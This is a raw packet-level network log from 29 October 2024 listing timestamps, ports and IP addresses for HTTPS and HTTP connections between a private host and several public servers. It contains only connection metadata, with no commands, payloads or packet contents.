Oct 29, 2024 17:59:45.395833969 CET	443	49995	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.396637917 CET	49995	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.396644115 CET	443	49995	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.401901007 CET	443	50003	3.168.2.47	192.168.2.6
Oct 29, 2024 17:59:45.404325008 CET	50003	443	192.168.2.6	3.168.2.47
Oct 29, 2024 17:59:45.404354095 CET	443	50003	3.168.2.47	192.168.2.6
Oct 29, 2024 17:59:45.405447006 CET	443	50003	3.168.2.47	192.168.2.6
Oct 29, 2024 17:59:45.405561924 CET	50003	443	192.168.2.6	3.168.2.47
Oct 29, 2024 17:59:45.406682968 CET	50003	443	192.168.2.6	3.168.2.47
Oct 29, 2024 17:59:45.406755924 CET	443	50003	3.168.2.47	192.168.2.6
Oct 29, 2024 17:59:45.407129049 CET	50003	443	192.168.2.6	3.168.2.47
Oct 29, 2024 17:59:45.407144070 CET	443	50003	3.168.2.47	192.168.2.6
Oct 29, 2024 17:59:45.425473928 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.425491095 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.425513029 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.425523043 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.425566912 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.425610065 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.426237106 CET	49998	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.457521915 CET	50003	443	192.168.2.6	3.168.2.47
Oct 29, 2024 17:59:45.496232986 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.496274948 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.496288061 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.496305943 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.496318102 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.496340036 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.496385098 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.496675968 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.496687889 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.496723890 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.496731043 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.496736050 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.496751070 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.496781111 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.496807098 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.497343063 CET	50013	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:45.497395992 CET	443	50013	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:45.497533083 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.497553110 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.497562885 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.497616053 CET	50013	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:45.497658968 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.497874022 CET	50013	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:45.497888088 CET	443	50013	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:45.500524998 CET	50014	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:45.500572920 CET	443	50014	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:45.500781059 CET	50014	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:45.501148939 CET	50014	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:45.501162052 CET	443	50014	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:45.525901079 CET	443	50002	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.526407003 CET	50002	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.526443005 CET	443	50002	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.527180910 CET	50002	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.527188063 CET	443	50002	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.531697035 CET	443	50000	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.532099962 CET	50000	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.532114029 CET	443	50000	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.532476902 CET	50000	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.532481909 CET	443	50000	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.537552118 CET	443	50005	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.537913084 CET	50005	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.537925005 CET	443	50005	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.538345098 CET	50005	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.538351059 CET	443	50005	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.543159008 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.543180943 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.543191910 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.543236017 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.543267965 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.575829983 CET	443	50003	3.168.2.47	192.168.2.6
Oct 29, 2024 17:59:45.575906038 CET	443	50003	3.168.2.47	192.168.2.6
Oct 29, 2024 17:59:45.576028109 CET	50003	443	192.168.2.6	3.168.2.47
Oct 29, 2024 17:59:45.577143908 CET	50003	443	192.168.2.6	3.168.2.47
Oct 29, 2024 17:59:45.577153921 CET	443	50003	3.168.2.47	192.168.2.6
Oct 29, 2024 17:59:45.577708006 CET	443	49996	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.577734947 CET	443	49996	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.577754974 CET	443	49996	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.577826977 CET	49996	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.577850103 CET	443	49996	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.577900887 CET	49996	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.579133987 CET	50015	443	192.168.2.6	3.168.2.47
Oct 29, 2024 17:59:45.579149008 CET	443	50015	3.168.2.47	192.168.2.6
Oct 29, 2024 17:59:45.579216957 CET	50015	443	192.168.2.6	3.168.2.47
Oct 29, 2024 17:59:45.579775095 CET	50015	443	192.168.2.6	3.168.2.47
Oct 29, 2024 17:59:45.579793930 CET	443	50015	3.168.2.47	192.168.2.6
Oct 29, 2024 17:59:45.595103979 CET	443	50004	20.125.209.212	192.168.2.6
Oct 29, 2024 17:59:45.595351934 CET	50004	443	192.168.2.6	20.125.209.212
Oct 29, 2024 17:59:45.595369101 CET	443	50004	20.125.209.212	192.168.2.6
Oct 29, 2024 17:59:45.596498966 CET	443	50004	20.125.209.212	192.168.2.6
Oct 29, 2024 17:59:45.596568108 CET	50004	443	192.168.2.6	20.125.209.212
Oct 29, 2024 17:59:45.597989082 CET	50004	443	192.168.2.6	20.125.209.212
Oct 29, 2024 17:59:45.598057032 CET	443	50004	20.125.209.212	192.168.2.6
Oct 29, 2024 17:59:45.598367929 CET	50004	443	192.168.2.6	20.125.209.212
Oct 29, 2024 17:59:45.598376036 CET	443	50004	20.125.209.212	192.168.2.6
Oct 29, 2024 17:59:45.601000071 CET	443	50006	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.601496935 CET	50006	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.601521015 CET	443	50006	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.602981091 CET	50006	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.602988958 CET	443	50006	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.605659008 CET	443	49997	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.605681896 CET	443	49997	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.605696917 CET	443	49997	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.605742931 CET	49997	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.605753899 CET	443	49997	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.605809927 CET	49997	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.614253044 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.614315987 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.614340067 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.614357948 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.614397049 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.614397049 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.614413977 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.614427090 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.614433050 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.614455938 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.614458084 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.614475012 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.614481926 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.614491940 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.614506006 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.614510059 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.614535093 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.614559889 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.615962029 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.615986109 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.616061926 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.616061926 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.625108004 CET	443	49999	20.96.153.111	192.168.2.6
Oct 29, 2024 17:59:45.625437021 CET	49999	443	192.168.2.6	20.96.153.111
Oct 29, 2024 17:59:45.625448942 CET	443	49999	20.96.153.111	192.168.2.6
Oct 29, 2024 17:59:45.625813007 CET	443	49999	20.96.153.111	192.168.2.6
Oct 29, 2024 17:59:45.626230955 CET	49999	443	192.168.2.6	20.96.153.111
Oct 29, 2024 17:59:45.626298904 CET	443	49999	20.96.153.111	192.168.2.6
Oct 29, 2024 17:59:45.626488924 CET	49999	443	192.168.2.6	20.96.153.111
Oct 29, 2024 17:59:45.638611078 CET	50004	443	192.168.2.6	20.125.209.212
Oct 29, 2024 17:59:45.646121025 CET	443	49998	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.646146059 CET	443	49998	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.646156073 CET	443	49998	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.646179914 CET	443	49998	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.646217108 CET	49998	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.646240950 CET	443	49998	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.646259069 CET	443	49998	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.646270990 CET	49998	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.646291971 CET	49998	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.646337032 CET	49998	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.661266088 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.661389112 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.661453009 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.661873102 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.661926031 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.661940098 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.662158966 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.667326927 CET	443	49999	20.96.153.111	192.168.2.6
Oct 29, 2024 17:59:45.667603970 CET	443	50000	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.667769909 CET	443	50000	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.667821884 CET	443	50000	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.667839050 CET	50000	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.667886972 CET	50000	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.668781042 CET	443	50002	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.669504881 CET	443	50002	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.669579029 CET	50002	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.672844887 CET	443	50005	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.672869921 CET	443	50005	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.672919035 CET	443	50005	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.672951937 CET	50005	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.672983885 CET	50005	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.679122925 CET	50000	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.679141045 CET	443	50000	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.679152012 CET	50000	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.679157972 CET	443	50000	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.682462931 CET	443	49995	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.682596922 CET	443	49995	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.682677031 CET	49995	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.683629990 CET	443	49996	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.683674097 CET	443	49996	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.683721066 CET	49996	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.683739901 CET	443	49996	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.683753014 CET	49996	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.683756113 CET	443	49996	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.683774948 CET	49996	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.683805943 CET	49996	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.690248966 CET	49996	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.690275908 CET	443	49996	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.691261053 CET	49995	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.691274881 CET	443	49995	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.691309929 CET	49995	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.691323042 CET	443	49995	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.691448927 CET	50002	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.691448927 CET	50002	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.691457033 CET	443	50002	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.691471100 CET	443	50002	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.693963051 CET	50005	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.693974972 CET	443	50005	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.693986893 CET	50005	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.693991899 CET	443	50005	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.696049929 CET	50016	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.696078062 CET	443	50016	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.696274996 CET	50016	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.697446108 CET	50017	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.697479010 CET	443	50017	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.698431969 CET	50017	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.698707104 CET	50018	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.698719025 CET	443	50018	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.698939085 CET	50018	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.698999882 CET	50016	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.699013948 CET	443	50016	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.699476957 CET	50017	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.699496031 CET	443	50017	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.699769020 CET	50018	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.699779034 CET	443	50018	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.700360060 CET	50019	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.700386047 CET	443	50019	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.701284885 CET	50019	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.701452971 CET	50019	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.701472044 CET	443	50019	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.725752115 CET	443	49997	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.725780010 CET	443	49997	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.725830078 CET	49997	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.725841999 CET	443	49997	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.725887060 CET	49997	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.725909948 CET	49997	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.727438927 CET	443	49997	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.727538109 CET	49997	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.730653048 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.730710983 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.730737925 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.730768919 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.730788946 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.730844975 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.730896950 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.730901003 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.730933905 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.730968952 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.730976105 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.731162071 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.731645107 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.731700897 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.731751919 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.731753111 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.731787920 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.731822968 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.731843948 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.731940985 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.732103109 CET	443	50006	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.732132912 CET	443	50006	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.732188940 CET	50006	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.732206106 CET	443	50006	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.732306957 CET	50006	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.732412100 CET	50006	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.732433081 CET	443	50006	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.732445002 CET	50006	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.732451916 CET	443	50006	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.732460022 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.732515097 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.732516050 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.732562065 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.735203028 CET	50020	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.735233068 CET	443	50020	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.735308886 CET	50020	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.736136913 CET	50020	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:45.736155987 CET	443	50020	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.788223028 CET	443	50004	20.125.209.212	192.168.2.6
Oct 29, 2024 17:59:45.789633036 CET	443	49998	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.789666891 CET	443	49998	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.789710045 CET	443	49998	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.789712906 CET	49998	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.789727926 CET	443	49998	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.789756060 CET	49998	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.789783955 CET	49998	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.790009022 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.790112972 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.790148020 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.790168047 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.790205002 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.792143106 CET	443	50004	20.125.209.212	192.168.2.6
Oct 29, 2024 17:59:45.793095112 CET	50004	443	192.168.2.6	20.125.209.212
Oct 29, 2024 17:59:45.795255899 CET	50004	443	192.168.2.6	20.125.209.212
Oct 29, 2024 17:59:45.795268059 CET	443	50004	20.125.209.212	192.168.2.6
Oct 29, 2024 17:59:45.821319103 CET	443	49999	20.96.153.111	192.168.2.6
Oct 29, 2024 17:59:45.821343899 CET	443	49999	20.96.153.111	192.168.2.6
Oct 29, 2024 17:59:45.821427107 CET	49999	443	192.168.2.6	20.96.153.111
Oct 29, 2024 17:59:45.821439028 CET	443	49999	20.96.153.111	192.168.2.6
Oct 29, 2024 17:59:45.822170019 CET	49999	443	192.168.2.6	20.96.153.111
Oct 29, 2024 17:59:45.822211981 CET	443	49999	20.96.153.111	192.168.2.6
Oct 29, 2024 17:59:45.822285891 CET	49999	443	192.168.2.6	20.96.153.111
Oct 29, 2024 17:59:45.832705975 CET	443	50007	23.198.7.181	192.168.2.6
Oct 29, 2024 17:59:45.833013058 CET	50007	443	192.168.2.6	23.198.7.181
Oct 29, 2024 17:59:45.833034039 CET	443	50007	23.198.7.181	192.168.2.6
Oct 29, 2024 17:59:45.834086895 CET	443	50007	23.198.7.181	192.168.2.6
Oct 29, 2024 17:59:45.834153891 CET	50007	443	192.168.2.6	23.198.7.181
Oct 29, 2024 17:59:45.835133076 CET	50007	443	192.168.2.6	23.198.7.181
Oct 29, 2024 17:59:45.835205078 CET	443	50007	23.198.7.181	192.168.2.6
Oct 29, 2024 17:59:45.846049070 CET	443	50008	23.198.7.181	192.168.2.6
Oct 29, 2024 17:59:45.846244097 CET	50008	443	192.168.2.6	23.198.7.181
Oct 29, 2024 17:59:45.846261978 CET	443	50008	23.198.7.181	192.168.2.6
Oct 29, 2024 17:59:45.847178936 CET	443	49997	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.847198963 CET	443	49997	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.847255945 CET	49997	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.847268105 CET	443	49997	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.847284079 CET	49997	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.847349882 CET	443	50008	23.198.7.181	192.168.2.6
Oct 29, 2024 17:59:45.847408056 CET	50008	443	192.168.2.6	23.198.7.181
Oct 29, 2024 17:59:45.847649097 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.847712040 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.847728968 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.847810030 CET	50008	443	192.168.2.6	23.198.7.181
Oct 29, 2024 17:59:45.847827911 CET	49997	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.847830057 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.847875118 CET	443	50008	23.198.7.181	192.168.2.6
Oct 29, 2024 17:59:45.847893000 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.847942114 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.847958088 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.847979069 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.847985029 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.848052979 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.848079920 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.848088026 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.848099947 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.848124027 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.848181009 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.848624945 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.848659039 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.848680019 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.848695040 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.848702908 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.848730087 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.848743916 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.848764896 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.848767996 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.848912001 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.849421024 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.849453926 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.849488020 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.849513054 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.849534988 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.880533934 CET	50007	443	192.168.2.6	23.198.7.181
Oct 29, 2024 17:59:45.880553961 CET	443	50007	23.198.7.181	192.168.2.6
Oct 29, 2024 17:59:45.895581961 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.895598888 CET	50008	443	192.168.2.6	23.198.7.181
Oct 29, 2024 17:59:45.895602942 CET	80	49958	185.215.113.206	192.168.2.6
